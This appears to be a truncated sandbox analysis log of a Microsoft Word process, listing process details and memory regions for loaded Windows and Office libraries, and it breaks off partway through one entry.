# Flog Txt Version 1 # Analyzer Version: 4.3.0 # Analyzer Build Date: Sep 20 2021 05:59:55 # Log Creation Date: 28.09.2021 11:25:30.197 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files (x86)\\microsoft office\\root\\office16\\winword.exe" page_root = "0x415c3000" os_pid = "0xd40" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x45c" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 254 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 255 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 256 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 257 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 258 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 259 start_va = 0x60000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 260 start_va = 0x160000 end_va = 0x163fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 261 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 262 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 263 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 264 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 265 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 266 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 267 start_va = 0x200000 end_va = 0x266fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 268 start_va = 0x270000 end_va = 0x271fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 269 start_va = 0x280000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 270 start_va = 0x300000 end_va = 0x301fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 271 start_va = 0x310000 end_va = 0x312fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 272 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 273 start_va = 0x330000 end_va = 0x332fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 274 start_va = 0x340000 end_va = 0x342fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 275 start_va = 0x350000 end_va = 0x352fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 276 start_va = 0x360000 end_va = 0x362fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 277 start_va = 0x370000 end_va = 0x371fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 278 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 279 start_va = 0x480000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 280 start_va = 0x4a0000 end_va = 0x4a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 281 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 282 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 283 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 284 start_va = 0x5c0000 end_va = 0x747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 285 start_va = 0x750000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 286 start_va = 0x8e0000 end_va = 0xbaefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 287 start_va = 0xbb0000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 288 start_va = 0xcb0000 end_va = 0xd8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 289 start_va = 0xd90000 end_va = 0xe4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 290 start_va = 0xe50000 end_va = 0xe53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e50000" filename = "" Region: id = 291 start_va = 0xe60000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 292 start_va = 0xea0000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 293 start_va = 0xee0000 end_va = 0xee0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ee0000" filename = "" Region: id = 294 start_va = 0xef0000 end_va = 0xef0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ef0000" filename = "" Region: id = 295 start_va = 0xf00000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 296 start_va = 0xf80000 end_va = 0xf84fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 297 start_va = 0xf90000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 298 start_va = 0xfd0000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 299 start_va = 0x10d0000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 300 start_va = 0x11d0000 end_va = 0x11d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 301 start_va = 0x11e0000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 302 start_va = 0x12e0000 end_va = 0x12e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012e0000" filename = "" Region: id = 303 start_va = 0x12f0000 end_va = 0x12fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 304 start_va = 0x1300000 end_va = 0x1300fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\SysWOW64\\msxml6r.dll" (normalized: "c:\\windows\\syswow64\\msxml6r.dll") Region: id = 305 start_va = 0x1310000 end_va = 0x1326fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db") Region: id = 306 start_va = 0x1330000 end_va = 0x1508fff monitored = 0 entry_point = 0x1331000 region_type = mapped_file name = "winword.exe" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\winword.exe") Region: id = 307 start_va = 0x1510000 end_va = 0x290ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001510000" filename = "" Region: id = 308 start_va = 0x2910000 end_va = 0x3501fff monitored = 0 entry_point = 0x2911000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\oart.dll") Region: id = 309 start_va = 0x3510000 end_va = 0x3510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003510000" filename = "" Region: id = 310 start_va = 0x3520000 end_va = 0x3520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003520000" filename = "" Region: id = 311 start_va = 0x3530000 end_va = 0x3531fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003530000" filename = "" Region: id = 312 start_va = 0x3540000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 313 start_va = 0x3580000 end_va = 0x35bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003580000" filename = "" Region: id = 314 start_va = 0x3660000 end_va = 0x369ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003660000" filename = "" Region: id = 315 start_va = 0x36d0000 end_va = 0x36e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 316 start_va = 0x3710000 end_va = 0x374ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003710000" filename = "" Region: id = 317 start_va = 0x37a0000 end_va = 0x389ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037a0000" filename = "" Region: id = 318 start_va = 0x38a0000 end_va = 0x38dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038a0000" filename = "" Region: id = 319 start_va = 0x38e0000 end_va = 0x3cdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038e0000" filename = "" Region: id = 320 start_va = 0x3ce0000 end_va = 0x3d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 321 start_va = 0x3d60000 end_va = 0x3d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 322 start_va = 0x3d70000 end_va = 0x3d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d70000" filename = "" Region: id = 323 start_va = 0x3db0000 end_va = 0x3eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003db0000" filename = "" Region: id = 324 start_va = 0x3eb0000 end_va = 0x47dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 325 start_va = 0x4810000 end_va = 0x484ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004810000" filename = "" Region: id = 326 start_va = 0x4860000 end_va = 0x489ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004860000" filename = "" Region: id = 327 start_va = 0x48b0000 end_va = 0x49affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 328 start_va = 0x49e0000 end_va = 0x4adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 329 start_va = 0x4b00000 end_va = 0x4b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 330 start_va = 0x4b60000 end_va = 0x4b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 331 start_va = 0x4ba0000 end_va = 0x4bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ba0000" filename = "" Region: id = 332 start_va = 0x4c30000 end_va = 0x4c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 333 start_va = 0x4c40000 end_va = 0x543ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c40000" filename = "" Region: id = 334 start_va = 0x5470000 end_va = 0x556ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005470000" filename = "" Region: id = 335 start_va = 0x5590000 end_va = 0x55cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005590000" filename = "" Region: id = 336 start_va = 0x5600000 end_va = 0x560ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005600000" filename = "" Region: id = 337 start_va = 0x5670000 end_va = 0x56affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005670000" filename = "" Region: id = 338 start_va = 0x56f0000 end_va = 0x57effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056f0000" filename = "" Region: id = 339 start_va = 0x5930000 end_va = 0x5b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005930000" filename = "" Region: id = 340 start_va = 0x5b30000 end_va = 0x5baefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 341 start_va = 0x5c40000 end_va = 0x5d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c40000" filename = "" Region: id = 342 start_va = 0x5d40000 end_va = 0x5deafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 343 start_va = 0x5e90000 end_va = 0x5f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e90000" filename = "" Region: id = 344 start_va = 0x5f90000 end_va = 0x638ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f90000" filename = "" Region: id = 345 start_va = 0x63a0000 end_va = 0x649ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063a0000" filename = "" Region: id = 346 start_va = 0x64a0000 end_va = 0x655cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 347 start_va = 0x6600000 end_va = 0x663ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006600000" filename = "" Region: id = 348 start_va = 0x6650000 end_va = 0x668ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006650000" filename = "" Region: id = 349 start_va = 0x6690000 end_va = 0x6a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006690000" filename = "" Region: id = 350 start_va = 0x6a90000 end_va = 0x6e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a90000" filename = "" Region: id = 351 start_va = 0x6e90000 end_va = 0x768ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006e90000" filename = "" Region: id = 352 start_va = 0x7690000 end_va = 0x7a90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007690000" filename = "" Region: id = 353 start_va = 0x7aa0000 end_va = 0x7ea0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007aa0000" filename = "" Region: id = 354 start_va = 0x7eb0000 end_va = 0x82b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007eb0000" filename = "" Region: id = 355 start_va = 0x82c0000 end_va = 0x84bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082c0000" filename = "" Region: id = 356 start_va = 0x84c0000 end_va = 0x8598fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000084c0000" filename = "" Region: id = 357 start_va = 0x85a0000 end_va = 0x899ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000085a0000" filename = "" Region: id = 358 start_va = 0x8ae0000 end_va = 0x8bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008ae0000" filename = "" Region: id = 359 start_va = 0x366f0000 end_va = 0x366fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000366f0000" filename = "" Region: id = 360 start_va = 0x66cb0000 end_va = 0x674a4fff monitored = 0 entry_point = 0x66d15279 region_type = mapped_file name = "chart.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\chart.dll") Region: id = 361 start_va = 0x674b0000 end_va = 0x67607fff monitored = 0 entry_point = 0x674b133c region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\SysWOW64\\msxml6.dll" (normalized: "c:\\windows\\syswow64\\msxml6.dll") Region: id = 362 start_va = 0x67610000 end_va = 0x67660fff monitored = 0 entry_point = 0x6763988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 363 start_va = 0x67670000 end_va = 0x6769cfff monitored = 0 entry_point = 0x676862dc region_type = mapped_file name = "osppc.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 364 start_va = 0x676a0000 end_va = 0x676a7fff monitored = 0 entry_point = 0x676a2ca6 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 365 start_va = 0x676b0000 end_va = 0x67709fff monitored = 0 entry_point = 0x676b1f35 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 366 start_va = 0x67710000 end_va = 0x678b1fff monitored = 0 entry_point = 0x67711000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\riched20.dll") Region: id = 367 start_va = 0x678c0000 end_va = 0x6794cfff monitored = 1 entry_point = 0x678d2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 368 start_va = 0x67950000 end_va = 0x67999fff monitored = 1 entry_point = 0x67952e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 369 start_va = 0x679a0000 end_va = 0x679a7fff monitored = 0 entry_point = 0x679a10e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 370 start_va = 0x679b0000 end_va = 0x67aaafff monitored = 0 entry_point = 0x679c17e1 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 371 start_va = 0x67ab0000 end_va = 0x67bb9fff monitored = 0 entry_point = 0x67b4146c region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\SysWOW64\\DWrite.dll" (normalized: "c:\\windows\\syswow64\\dwrite.dll") Region: id = 372 start_va = 0x67bc0000 end_va = 0x67cebfff monitored = 0 entry_point = 0x67cc5cf2 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\SysWOW64\\d3d10warp.dll" (normalized: "c:\\windows\\syswow64\\d3d10warp.dll") Region: id = 373 start_va = 0x67cf0000 end_va = 0x67d29fff monitored = 0 entry_point = 0x67d0fab7 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\SysWOW64\\d3d10_1core.dll" (normalized: "c:\\windows\\syswow64\\d3d10_1core.dll") Region: id = 374 start_va = 0x67d30000 end_va = 0x67d5bfff monitored = 0 entry_point = 0x67d501f8 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\SysWOW64\\d3d10_1.dll" (normalized: "c:\\windows\\syswow64\\d3d10_1.dll") Region: id = 375 start_va = 0x67d60000 end_va = 0x67e77fff monitored = 0 entry_point = 0x67d640b1 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msptls.dll") Region: id = 376 start_va = 0x67e80000 end_va = 0x67ff4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 377 start_va = 0x68000000 end_va = 0x6800efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 378 start_va = 0x68010000 end_va = 0x680b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wwintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\1033\\wwintl.dll") Region: id = 379 start_va = 0x680c0000 end_va = 0x6cefefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msores.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msores.dll") Region: id = 380 start_va = 0x6cf00000 end_va = 0x6d820fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lres.dll") Region: id = 381 start_va = 0x6d830000 end_va = 0x6db37fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uires.dll") Region: id = 382 start_va = 0x6db40000 end_va = 0x6db68fff monitored = 0 entry_point = 0x6db46b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 383 start_va = 0x6db70000 end_va = 0x6db7cfff monitored = 0 entry_point = 0x6db711e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 384 start_va = 0x6db80000 end_va = 0x6dc39fff monitored = 0 entry_point = 0x6dbe253f region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\SysWOW64\\d2d1.dll" (normalized: "c:\\windows\\syswow64\\d2d1.dll") Region: id = 385 start_va = 0x6dc40000 end_va = 0x6e9f1fff monitored = 0 entry_point = 0x6dc41000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso.dll") Region: id = 386 start_va = 0x6ea00000 end_va = 0x6ea20fff monitored = 0 entry_point = 0x6ea0c008 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\SysWOW64\\sppc.dll" (normalized: "c:\\windows\\syswow64\\sppc.dll") Region: id = 387 start_va = 0x6ea30000 end_va = 0x6ea39fff monitored = 0 entry_point = 0x6ea34d20 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 388 start_va = 0x6ea40000 end_va = 0x6efd7fff monitored = 0 entry_point = 0x6ea41000 region_type = mapped_file name = "mso99lwin32client.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lwin32client.dll") Region: id = 389 start_va = 0x6efe0000 end_va = 0x6f6f4fff monitored = 0 entry_point = 0x6efe1000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 390 start_va = 0x6f700000 end_va = 0x6fa01fff monitored = 0 entry_point = 0x6f701000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 391 start_va = 0x6fa10000 end_va = 0x6fbe4fff monitored = 0 entry_point = 0x6fa11000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 392 start_va = 0x6fff0000 end_va = 0x6fffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000006fff0000" filename = "" Region: id = 393 start_va = 0x707f0000 end_va = 0x7097ffff monitored = 0 entry_point = 0x7088d026 region_type = mapped_file name = "gdiplus.dll" filename = 